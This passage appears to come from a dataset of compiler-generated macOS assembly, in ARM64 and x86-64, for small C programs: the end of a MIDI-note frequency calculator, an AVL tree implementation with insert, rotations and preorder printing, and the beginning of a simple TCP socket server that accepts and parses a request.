leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movl $1, -276(%rbp)
jmp LBB0_9
LBB0_4:
leaq -272(%rbp), %rdi
callq _atoi
movl %eax, -316(%rbp)
cmpl $0, -316(%rbp)
jg LBB0_6
## %bb.5:
leaq -272(%rbp), %rsi
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
movl $1, -276(%rbp)
jmp LBB0_9
LBB0_6:
cmpl $127, -316(%rbp)
jle LBB0_8
## %bb.7:
leaq -272(%rbp), %rsi
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
movl $1, -276(%rbp)
jmp LBB0_9
LBB0_8:
movsd -296(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -344(%rbp) ## 8-byte Spill
movsd -304(%rbp), %xmm0 ## xmm0 = mem[0],zero
cvtsi2sdl -316(%rbp), %xmm1
callq _pow
movaps %xmm0, %xmm1
movsd -344(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
mulsd %xmm1, %xmm0
movsd %xmm0, -312(%rbp)
movl -316(%rbp), %esi
movsd -312(%rbp), %xmm0 ## xmm0 = mem[0],zero
leaq L_.str.5(%rip), %rdi
movb $1, %al
callq _printf
movl $0, -276(%rbp)
LBB0_9:
movl -276(%rbp), %eax
movl %eax, -348(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_11
## %bb.10:
movl -348(%rbp), %eax ## 4-byte Reload
addq $352, %rsp ## imm = 0x160
popq %rbp
retq
LBB0_11:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Enter MIDI note (0 - 127): "
L_.str.1: ## @.str.1
.asciz "There was an error reading the input.\n"
L_.str.2: ## @.str.2
.asciz "Have a nice day!\n"
L_.str.3: ## @.str.3
.asciz "Sorry - %s is a bad MIDI note number\n"
L_.str.4: ## @.str.4
.asciz "Sorry - %s is beyond the MIDI range!\n"
L_.str.5: ## @.str.5
.asciz "frequency of MIDI note %d = %f\n"
.subsections_via_symbols
| the_stack_data/58274.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _get_height ; -- Begin function get_height
.p2align 2
_get_height: ; @get_height
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp]
ldr x8, [sp]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
str wzr, [sp, #12]
b LBB0_3
LBB0_2:
ldr x8, [sp]
ldr w8, [x8, #4]
str w8, [sp, #12]
b LBB0_3
LBB0_3:
ldr w0, [sp, #12]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _calc_height ; -- Begin function calc_height
.p2align 2
_calc_height: ; @calc_height
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #16]
str wzr, [sp, #12]
ldr x8, [sp, #16]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
stur wzr, [x29, #-4]
b LBB1_6
LBB1_2:
ldr x8, [sp, #16]
ldr x0, [x8, #8]
bl _get_height
str w0, [sp, #8] ; 4-byte Folded Spill
ldr x8, [sp, #16]
ldr x0, [x8, #16]
bl _get_height
mov x8, x0
ldr w0, [sp, #8] ; 4-byte Folded Reload
subs w8, w0, w8
cset w8, le
tbnz w8, #0, LBB1_4
b LBB1_3
LBB1_3:
ldr x8, [sp, #16]
ldr x0, [x8, #8]
bl _get_height
add w8, w0, #1
str w8, [sp, #12]
b LBB1_5
LBB1_4:
ldr x8, [sp, #16]
ldr x0, [x8, #16]
bl _get_height
add w8, w0, #1
str w8, [sp, #12]
b LBB1_5
LBB1_5:
ldr w8, [sp, #12]
ldr x9, [sp, #16]
str w8, [x9, #4]
b LBB1_6
LBB1_6:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _get_balance ; -- Begin function get_balance
.p2align 2
_get_balance: ; @get_balance
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
ldr x8, [sp, #8]
ldr x0, [x8, #8]
bl _get_height
str w0, [sp, #4] ; 4-byte Folded Spill
ldr x8, [sp, #8]
ldr x0, [x8, #16]
bl _get_height
mov x8, x0
ldr w0, [sp, #4] ; 4-byte Folded Reload
subs w0, w0, w8
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _right_rotate ; -- Begin function right_rotate
.p2align 2
_right_rotate: ; @right_rotate
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
ldur x8, [x29, #-8]
ldr x8, [x8]
ldr x8, [x8, #8]
str x8, [sp, #16]
ldr x8, [sp, #16]
ldr x8, [x8, #16]
str x8, [sp, #8]
ldr x8, [sp, #8]
ldur x9, [x29, #-8]
ldr x9, [x9]
str x8, [x9, #8]
ldur x8, [x29, #-8]
ldr x8, [x8]
ldr x9, [sp, #16]
str x8, [x9, #16]
ldur x8, [x29, #-8]
ldr x0, [x8]
bl _calc_height
ldr x0, [sp, #16]
bl _calc_height
ldr x8, [sp, #16]
ldur x9, [x29, #-8]
str x8, [x9]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _left_rotate ; -- Begin function left_rotate
.p2align 2
_left_rotate: ; @left_rotate
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
ldur x8, [x29, #-8]
ldr x8, [x8]
ldr x8, [x8, #16]
str x8, [sp, #16]
ldr x8, [sp, #16]
ldr x8, [x8, #8]
str x8, [sp, #8]
ldr x8, [sp, #8]
ldur x9, [x29, #-8]
ldr x9, [x9]
str x8, [x9, #16]
ldur x8, [x29, #-8]
ldr x8, [x8]
ldr x9, [sp, #16]
str x8, [x9, #8]
ldur x8, [x29, #-8]
ldr x0, [x8]
bl _calc_height
ldr x0, [sp, #16]
bl _calc_height
ldr x8, [sp, #16]
ldur x9, [x29, #-8]
str x8, [x9]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _insert ; -- Begin function insert
.p2align 2
_insert: ; @insert
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
str w1, [sp, #4]
str wzr, [sp]
ldr x8, [sp, #8]
ldr x8, [x8]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB5_2
b LBB5_1
LBB5_1:
mov x0, #24
bl _malloc
ldr x8, [sp, #8]
str x0, [x8]
ldr w8, [sp, #4]
ldr x9, [sp, #8]
ldr x9, [x9]
str w8, [x9]
ldr x8, [sp, #8]
ldr x9, [x8]
mov w8, #1
str w8, [x9, #4]
ldr x8, [sp, #8]
ldr x8, [x8]
; kill: def $x9 killed $xzr
str xzr, [x8, #8]
ldr x8, [sp, #8]
ldr x8, [x8]
str xzr, [x8, #16]
b LBB5_18
LBB5_2:
ldr w8, [sp, #4]
ldr x9, [sp, #8]
ldr x9, [x9]
ldr w9, [x9]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB5_4
b LBB5_3
LBB5_3:
ldr x8, [sp, #8]
ldr x8, [x8]
add x0, x8, #8
ldr w1, [sp, #4]
bl _insert
b LBB5_7
LBB5_4:
ldr w8, [sp, #4]
ldr x9, [sp, #8]
ldr x9, [x9]
ldr w9, [x9]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB5_6
b LBB5_5
LBB5_5:
ldr x8, [sp, #8]
ldr x8, [x8]
add x0, x8, #16
ldr w1, [sp, #4]
bl _insert
b LBB5_6
LBB5_6:
b LBB5_7
LBB5_7:
ldr x8, [sp, #8]
ldr x0, [x8]
bl _calc_height
ldr x8, [sp, #8]
ldr x0, [x8]
bl _get_balance
str w0, [sp]
ldr w8, [sp]
subs w8, w8, #1
cset w8, le
tbnz w8, #0, LBB5_12
b LBB5_8
LBB5_8:
ldr x8, [sp, #8]
ldr x8, [x8]
ldr x0, [x8, #8]
bl _get_balance
subs w8, w0, #0
cset w8, lt
tbnz w8, #0, LBB5_10
b LBB5_9
LBB5_9:
ldr x0, [sp, #8]
bl _right_rotate
b LBB5_11
LBB5_10:
ldr x8, [sp, #8]
ldr x8, [x8]
add x0, x8, #8
bl _left_rotate
ldr x0, [sp, #8]
bl _right_rotate
b LBB5_11
LBB5_11:
b LBB5_18
LBB5_12:
ldr w8, [sp]
adds w8, w8, #1
cset w8, ge
tbnz w8, #0, LBB5_17
b LBB5_13
LBB5_13:
ldr x8, [sp, #8]
ldr x8, [x8]
ldr x0, [x8, #16]
bl _get_balance
subs w8, w0, #0
cset w8, lt
tbnz w8, #0, LBB5_15
b LBB5_14
LBB5_14:
ldr x8, [sp, #8]
ldr x8, [x8]
add x0, x8, #16
bl _right_rotate
ldr x0, [sp, #8]
bl _left_rotate
b LBB5_16
LBB5_15:
ldr x0, [sp, #8]
bl _left_rotate
b LBB5_16
LBB5_16:
b LBB5_17
LBB5_17:
b LBB5_18
LBB5_18:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _print_preorder ; -- Begin function print_preorder
.p2align 2
_print_preorder: ; @print_preorder
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
ldr x8, [sp, #8]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB6_2
b LBB6_1
LBB6_1:
b LBB6_3
LBB6_2:
ldr x8, [sp, #8]
ldr w9, [x8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldr x8, [sp, #8]
ldr x0, [x8, #8]
bl _print_preorder
ldr x8, [sp, #8]
ldr x0, [x8, #16]
bl _print_preorder
b LBB6_3
LBB6_3:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
; kill: def $x8 killed $xzr
stur xzr, [x29, #-8]
stur wzr, [x29, #-12]
b LBB7_1
LBB7_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-12]
subs w8, w8, #10
cset w8, ge
tbnz w8, #0, LBB7_4
b LBB7_2
LBB7_2: ; in Loop: Header=BB7_1 Depth=1
ldur w1, [x29, #-12]
sub x0, x29, #8
bl _insert
b LBB7_3
LBB7_3: ; in Loop: Header=BB7_1 Depth=1
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB7_1
LBB7_4:
sub x8, x29, #8
str x8, [sp, #8] ; 8-byte Folded Spill
ldur x0, [x29, #-8]
bl _print_preorder
ldr x0, [sp, #8] ; 8-byte Folded Reload
; kill: def $x8 killed $xzr
stur xzr, [x29, #-8]
mov w1, #30
bl _insert
ldr x0, [sp, #8] ; 8-byte Folded Reload
mov w1, #15
bl _insert
ldr x0, [sp, #8] ; 8-byte Folded Reload
mov w1, #35
bl _insert
ldr x0, [sp, #8] ; 8-byte Folded Reload
mov w1, #5
bl _insert
ldr x0, [sp, #8] ; 8-byte Folded Reload
mov w1, #20
bl _insert
ldr x0, [sp, #8] ; 8-byte Folded Reload
bl _right_rotate
ldr x0, [sp, #8] ; 8-byte Folded Reload
bl _left_rotate
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d "
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _get_height ## -- Begin function get_height
.p2align 4, 0x90
_get_height: ## @get_height
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -16(%rbp)
cmpq $0, -16(%rbp)
jne LBB0_2
## %bb.1:
movl $0, -4(%rbp)
jmp LBB0_3
LBB0_2:
movq -16(%rbp), %rax
movl 4(%rax), %eax
movl %eax, -4(%rbp)
LBB0_3:
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _calc_height ## -- Begin function calc_height
.p2align 4, 0x90
_calc_height: ## @calc_height
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -16(%rbp)
movl $0, -20(%rbp)
cmpq $0, -16(%rbp)
jne LBB1_2
## %bb.1:
movl $0, -4(%rbp)
jmp LBB1_6
LBB1_2:
movq -16(%rbp), %rax
movq 8(%rax), %rdi
callq _get_height
movl %eax, -24(%rbp) ## 4-byte Spill
movq -16(%rbp), %rax
movq 16(%rax), %rdi
callq _get_height
movl %eax, %ecx
movl -24(%rbp), %eax ## 4-byte Reload
cmpl %ecx, %eax
jle LBB1_4
## %bb.3:
movq -16(%rbp), %rax
movq 8(%rax), %rdi
callq _get_height
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB1_5
LBB1_4:
movq -16(%rbp), %rax
movq 16(%rax), %rdi
callq _get_height
addl $1, %eax
movl %eax, -20(%rbp)
LBB1_5:
movl -20(%rbp), %ecx
movq -16(%rbp), %rax
movl %ecx, 4(%rax)
LBB1_6:
movl -4(%rbp), %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _get_balance ## -- Begin function get_balance
.p2align 4, 0x90
_get_balance: ## @get_balance
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rax
movq 8(%rax), %rdi
callq _get_height
movl %eax, -12(%rbp) ## 4-byte Spill
movq -8(%rbp), %rax
movq 16(%rax), %rdi
callq _get_height
movl %eax, %ecx
movl -12(%rbp), %eax ## 4-byte Reload
subl %ecx, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _right_rotate ## -- Begin function right_rotate
.p2align 4, 0x90
_right_rotate: ## @right_rotate
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rax
movq (%rax), %rax
movq 8(%rax), %rax
movq %rax, -16(%rbp)
movq -16(%rbp), %rax
movq 16(%rax), %rax
movq %rax, -24(%rbp)
movq -24(%rbp), %rcx
movq -8(%rbp), %rax
movq (%rax), %rax
movq %rcx, 8(%rax)
movq -8(%rbp), %rax
movq (%rax), %rcx
movq -16(%rbp), %rax
movq %rcx, 16(%rax)
movq -8(%rbp), %rax
movq (%rax), %rdi
callq _calc_height
movq -16(%rbp), %rdi
callq _calc_height
movq -16(%rbp), %rcx
movq -8(%rbp), %rax
movq %rcx, (%rax)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _left_rotate ## -- Begin function left_rotate
.p2align 4, 0x90
_left_rotate: ## @left_rotate
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rax
movq (%rax), %rax
movq 16(%rax), %rax
movq %rax, -16(%rbp)
movq -16(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -24(%rbp)
movq -24(%rbp), %rcx
movq -8(%rbp), %rax
movq (%rax), %rax
movq %rcx, 16(%rax)
movq -8(%rbp), %rax
movq (%rax), %rcx
movq -16(%rbp), %rax
movq %rcx, 8(%rax)
movq -8(%rbp), %rax
movq (%rax), %rdi
callq _calc_height
movq -16(%rbp), %rdi
callq _calc_height
movq -16(%rbp), %rcx
movq -8(%rbp), %rax
movq %rcx, (%rax)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _insert ## -- Begin function insert
.p2align 4, 0x90
_insert: ## @insert
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movl $0, -16(%rbp)
movq -8(%rbp), %rax
cmpq $0, (%rax)
jne LBB5_2
## %bb.1:
movl $24, %edi
callq _malloc
movq %rax, %rcx
movq -8(%rbp), %rax
movq %rcx, (%rax)
movl -12(%rbp), %ecx
movq -8(%rbp), %rax
movq (%rax), %rax
movl %ecx, (%rax)
movq -8(%rbp), %rax
movq (%rax), %rax
movl $1, 4(%rax)
movq -8(%rbp), %rax
movq (%rax), %rax
movq $0, 8(%rax)
movq -8(%rbp), %rax
movq (%rax), %rax
movq $0, 16(%rax)
jmp LBB5_18
LBB5_2:
movl -12(%rbp), %eax
movq -8(%rbp), %rcx
movq (%rcx), %rcx
cmpl (%rcx), %eax
jg LBB5_4
## %bb.3:
movq -8(%rbp), %rax
movq (%rax), %rdi
addq $8, %rdi
movl -12(%rbp), %esi
callq _insert
jmp LBB5_7
LBB5_4:
movl -12(%rbp), %eax
movq -8(%rbp), %rcx
movq (%rcx), %rcx
cmpl (%rcx), %eax
jle LBB5_6
## %bb.5:
movq -8(%rbp), %rax
movq (%rax), %rdi
addq $16, %rdi
movl -12(%rbp), %esi
callq _insert
LBB5_6:
jmp LBB5_7
LBB5_7:
movq -8(%rbp), %rax
movq (%rax), %rdi
callq _calc_height
movq -8(%rbp), %rax
movq (%rax), %rdi
callq _get_balance
movl %eax, -16(%rbp)
cmpl $1, -16(%rbp)
jle LBB5_12
## %bb.8:
movq -8(%rbp), %rax
movq (%rax), %rax
movq 8(%rax), %rdi
callq _get_balance
cmpl $0, %eax
jl LBB5_10
## %bb.9:
movq -8(%rbp), %rdi
callq _right_rotate
jmp LBB5_11
LBB5_10:
movq -8(%rbp), %rax
movq (%rax), %rdi
addq $8, %rdi
callq _left_rotate
movq -8(%rbp), %rdi
callq _right_rotate
LBB5_11:
jmp LBB5_18
LBB5_12:
cmpl $-1, -16(%rbp)
jge LBB5_17
## %bb.13:
movq -8(%rbp), %rax
movq (%rax), %rax
movq 16(%rax), %rdi
callq _get_balance
cmpl $0, %eax
jl LBB5_15
## %bb.14:
movq -8(%rbp), %rax
movq (%rax), %rdi
addq $16, %rdi
callq _right_rotate
movq -8(%rbp), %rdi
callq _left_rotate
jmp LBB5_16
LBB5_15:
movq -8(%rbp), %rdi
callq _left_rotate
LBB5_16:
jmp LBB5_17
LBB5_17:
jmp LBB5_18
LBB5_18:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _print_preorder ## -- Begin function print_preorder
.p2align 4, 0x90
_print_preorder: ## @print_preorder
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
cmpq $0, -8(%rbp)
jne LBB6_2
## %bb.1:
jmp LBB6_3
LBB6_2:
movq -8(%rbp), %rax
movl (%rax), %esi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movq -8(%rbp), %rax
movq 8(%rax), %rdi
callq _print_preorder
movq -8(%rbp), %rax
movq 16(%rax), %rdi
callq _print_preorder
LBB6_3:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq $0, -8(%rbp)
movl $0, -12(%rbp)
LBB7_1: ## =>This Inner Loop Header: Depth=1
cmpl $10, -12(%rbp)
jge LBB7_4
## %bb.2: ## in Loop: Header=BB7_1 Depth=1
movl -12(%rbp), %esi
leaq -8(%rbp), %rdi
callq _insert
## %bb.3: ## in Loop: Header=BB7_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB7_1
LBB7_4:
movq -8(%rbp), %rdi
callq _print_preorder
movq $0, -8(%rbp)
leaq -8(%rbp), %rdi
movl $30, %esi
callq _insert
leaq -8(%rbp), %rdi
movl $15, %esi
callq _insert
leaq -8(%rbp), %rdi
movl $35, %esi
callq _insert
leaq -8(%rbp), %rdi
movl $5, %esi
callq _insert
leaq -8(%rbp), %rdi
movl $20, %esi
callq _insert
leaq -8(%rbp), %rdi
callq _right_rotate
leaq -8(%rbp), %rdi
callq _left_rotate
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d "
.subsections_via_symbols
| the_stack_data/402003.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
mov w9, #15216
adrp x16, ___chkstk_darwin@GOTPAGE
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
sub sp, sp, #3, lsl #12 ; =12288
sub sp, sp, #2928
sub x8, x29, #40
str x8, [sp, #88] ; 8-byte Folded Spill
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
mov w2, #0
str wzr, [sp, #172]
mov w1, #1
str w1, [sp, #124]
mov w0, #2
bl _socket
str w0, [sp, #156]
ldr w8, [sp, #156]
adds w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _perror
mov w8, #1
str w8, [sp, #172]
b LBB0_32
LBB0_2:
ldr x9, [sp, #88] ; 8-byte Folded Reload
mov w8, #2
strb w8, [x9, #1]
mov w8, #48672
strh w8, [x9, #2]
stur wzr, [x29, #-36]
ldr w0, [sp, #156]
mov w1, #65535
mov w4, #4
mov x2, x4
add x3, sp, #124
bl _setsockopt
str w0, [sp, #152]
ldr w8, [sp, #152]
adds w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _perror
mov w8, #1
str w8, [sp, #172]
b LBB0_32
LBB0_4:
ldr w0, [sp, #156]
sub x1, x29, #40
mov w2, #16
bl _bind
adds w8, w0, #1
cset w8, ne
tbnz w8, #0, LBB0_6
b LBB0_5
LBB0_5:
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _perror
mov w8, #1
str w8, [sp, #172]
b LBB0_32
LBB0_6:
ldr w0, [sp, #156]
mov w1, #5
bl _listen
adds w8, w0, #1
cset w8, ne
tbnz w8, #0, LBB0_8
b LBB0_7
LBB0_7:
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _perror
mov w8, #1
str w8, [sp, #172]
b LBB0_32
LBB0_8:
mov w8, #16
str w8, [sp, #144]
b LBB0_9
LBB0_9: ; =>This Loop Header: Depth=1
; Child Loop BB0_14 Depth 2
; Child Loop BB0_18 Depth 2
; Child Loop BB0_22 Depth 2
; Child Loop BB0_28 Depth 2
ldr w0, [sp, #156]
sub x1, x29, #56
add x2, sp, #144
bl _accept
str w0, [sp, #148]
ldr w8, [sp, #148]
adds w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB0_11
b LBB0_10
LBB0_10:
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _perror
mov w8, #1
str w8, [sp, #172]
b LBB0_32
LBB0_11: ; in Loop: Header=BB0_9 Depth=1
ldr w0, [sp, #148]
add x1, sp, #2, lsl #12 ; =8192
add x1, x1, #1984
mov x2, #4999
bl _read
mov x8, x0
str w8, [sp, #152]
ldr w8, [sp, #152]
adds w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB0_13
b LBB0_12
LBB0_12:
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _perror
mov w8, #1
str w8, [sp, #172]
b LBB0_32
LBB0_13: ; in Loop: Header=BB0_9 Depth=1
ldrsw x10, [sp, #152]
add x8, sp, #2, lsl #12 ; =8192
add x8, x8, #1984
str x8, [sp, #80] ; 8-byte Folded Spill
mov x9, x8
add x9, x9, x10
strb wzr, [x9]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _printf
ldr x8, [sp, #80] ; 8-byte Folded Reload
str x8, [sp, #112]
str wzr, [sp, #168]
b LBB0_14
LBB0_14: ; Parent Loop BB0_9 Depth=1
; => This Inner Loop Header: Depth=2
ldrsw x9, [sp, #168]
add x8, sp, #2, lsl #12 ; =8192
add x8, x8, #1984
ldrsb w8, [x8, x9]
subs w8, w8, #32
cset w8, eq
tbnz w8, #0, LBB0_17
b LBB0_15
LBB0_15: ; in Loop: Header=BB0_14 Depth=2
b LBB0_16
LBB0_16: ; in Loop: Header=BB0_14 Depth=2
ldr w8, [sp, #168]
add w8, w8, #1
str w8, [sp, #168]
b LBB0_14
LBB0_17: ; in Loop: Header=BB0_9 Depth=1
ldrsw x10, [sp, #168]
add x8, sp, #2, lsl #12 ; =8192
add x8, x8, #1984
mov x9, x8
add x9, x9, x10
strb wzr, [x9]
ldrsw x9, [sp, #168]
add x8, x8, x9
add x8, x8, #1
str x8, [sp, #104]
ldr w8, [sp, #168]
add w8, w8, #1
str w8, [sp, #168]
b LBB0_18
LBB0_18: ; Parent Loop BB0_9 Depth=1
; => This Inner Loop Header: Depth=2
ldrsw x9, [sp, #168]
add x8, sp, #2, lsl #12 ; =8192
add x8, x8, #1984
ldrsb w8, [x8, x9]
subs w8, w8, #32
cset w8, eq
tbnz w8, #0, LBB0_21
b LBB0_19
LBB0_19: ; in Loop: Header=BB0_18 Depth=2
b LBB0_20
LBB0_20: ; in Loop: Header=BB0_18 Depth=2
ldr w8, [sp, #168]
add w8, w8, #1
str w8, [sp, #168]
b LBB0_18
LBB0_21: ; in Loop: Header=BB0_9 Depth=1
ldrsw x10, [sp, #168]
add x8, sp, #2, lsl #12 ; =8192
add x8, x8, #1984
mov x9, x8
add x9, x9, x10
strb wzr, [x9]
ldrsw x9, [sp, #168]
add x8, x8, x9
add x8, x8, #1
str x8, [sp, #96]
ldr w8, [sp, #168]
add w8, w8, #1
str w8, [sp, #168]
b LBB0_22
LBB0_22: ; Parent Loop BB0_9 Depth=1
; => This Inner Loop Header: Depth=2
ldrsw x9, [sp, #168]
add x8, sp, #2, lsl #12 ; =8192
add x8, x8, #1984
ldrsb w8, [x8, x9]
subs w8, w8, #13
cset w8, eq
tbnz w8, #0, LBB0_25
b LBB0_23
LBB0_23: ; in Loop: Header=BB0_22 Depth=2
b LBB0_24
LBB0_24: ; in Loop: Header=BB0_22 Depth=2
ldr w8, [sp, #168]
add w8, w8, #1
str w8, [sp, #168]
b LBB0_22
LBB0_25: ; in Loop: Header=BB0_9 Depth=1
ldrsw x9, [sp, #168]
add x8, sp, #2, lsl #12 ; =8192
add x8, x8, #1984
add x8, x8, x9
strb wzr, [x8]
ldr x11, [sp, #112]
ldr x10, [sp, #104]
ldr x8, [sp, #96]
mov x9, sp
str x11, [x9]
